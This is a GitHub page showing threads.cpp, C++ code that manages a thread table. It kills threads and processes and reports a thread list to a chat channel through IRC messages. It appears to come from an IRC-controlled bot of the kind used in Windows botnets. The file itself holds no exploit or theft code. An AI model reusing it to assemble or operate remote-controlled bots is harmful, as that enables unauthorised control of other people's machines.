-
Notifications
You must be signed in to change notification settings - Fork 16
/
Copy paththreads.cpp
166 lines (133 loc) · 3.51 KB
/
threads.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
#include "includes.h"
#include "functions.h"
#include "externs.h"
// function to add description to thread list and return thread number
int addthread(char *name, int id, SOCKET sock)
{
int i;
for (i = 0; i < MAXTHREADS; i++) {
if (threads[i].name[0] == '\0') {
strncpy(threads[i].name, name, sizeof(threads[i].name)-1);
threads[i].id=id;
threads[i].parent=0;
threads[i].pid=0;
threads[i].sock=sock;
threads[i].nick[0]='\0';
break;
}
}
return i;
}
DWORD WINAPI ListThread(LPVOID param)
{
TLIST tlist = *((TLIST *)param);
TLIST *tlistp = (TLIST *)param;
tlistp->gotinfo = TRUE;
listthreads(tlist.sock,tlist.chan,tlist.notice,tlist.full);
clearthread(tlist.threadnum);
ExitThread(0);
}
void listthreads(SOCKET sock, char *chan, BOOL notice, BOOL full)
{
char buffer[IRCLINE];
irc_privmsg(sock, chan, "-[Thread List]-", notice);
for (int i = 0; i < MAXTHREADS; i++) {
if (threads[i].name[0] != '\0' && (full || threads[i].parent == 0)) {
sprintf(buffer, "%d. %s", i, threads[i].name);
irc_privmsg(sock,chan,buffer,notice,TRUE);
}
}
return;
}
BOOL killthread(int threadnum)
{
BOOL threadkilled = FALSE;
if ((threadnum>0) && (threadnum<MAXTHREADS)) {
TerminateThread(threads[threadnum].tHandle, 0);
if (threads[threadnum].tHandle != 0)
threadkilled = TRUE;
threads[threadnum].tHandle = 0;
threads[threadnum].id = 0;
threads[threadnum].parent = 0;
if(threads[threadnum].pid > 0)
killProcess(threads[threadnum].pid);
threads[threadnum].pid = 0;
threads[threadnum].name[0] = '\0';
threads[threadnum].nick[0] = '\0';
fclosesocket(threads[threadnum].sock);
threads[threadnum].sock = 0;
fclosesocket(threads[threadnum].csock);
threads[threadnum].csock = 0;
}
return (threadkilled);
}
int killthreadall(void)
{
int numthreads=0;
for (int i = 0; i < MAXTHREADS; i++)
if (threads[i].name[0] != '\0')
if (killthread(i))
numthreads++;
return (numthreads);
}
int killthreadid(int threadid, int threadnum)
{
int numthreads=0;
for (int i=0;i<MAXTHREADS;i++) {
if (threads[i].id == threadid) {
if (threadnum > 0) {
if (threads[i].parent == threadnum || i == threadnum)
if (killthread(i))
numthreads++;
} else {
if (killthread(i))
numthreads++;
}
}
}
return (numthreads);
}
int findthreadid(int threadid)
{
int numthreads=0;
for (int i=0;i<MAXTHREADS;i++)
if (threads[i].id == threadid)
numthreads++;
return (numthreads);
}
int findthreadnum(int threadid)
{
int threadnum=0;
for (int i=0;i<MAXTHREADS;i++)
if (threads[i].id == threadid) {
threadnum=i;
break;
}
return (threadnum);
}
void stopthread(SOCKET sock, char *chan, BOOL notice, BOOL silent, char *name, char *desc, int threadid, char *thread)
{
char sendbuf[IRCLINE];
int threadnum=0, i;
if(thread)
threadnum=atoi(thread);
if ((i=killthreadid(threadid,threadnum)) > 0)
sprintf(sendbuf,"%s: %s stopped. (%d thread(s) stopped.)", name, desc, i);
else
sprintf(sendbuf,"%s: No %s thread found.", name, desc);
if (!silent) irc_privmsg(sock,chan,sendbuf,notice);
addlog(sendbuf);
return;
}
void clearthread(int threadnum)
{
threads[threadnum].tHandle = 0;
threads[threadnum].id=0;
threads[threadnum].parent=0;
threads[threadnum].pid=0;
threads[threadnum].sock=0;
threads[threadnum].csock=0;
threads[threadnum].name[0]='\0';
threads[threadnum].nick[0]='\0';
return;
}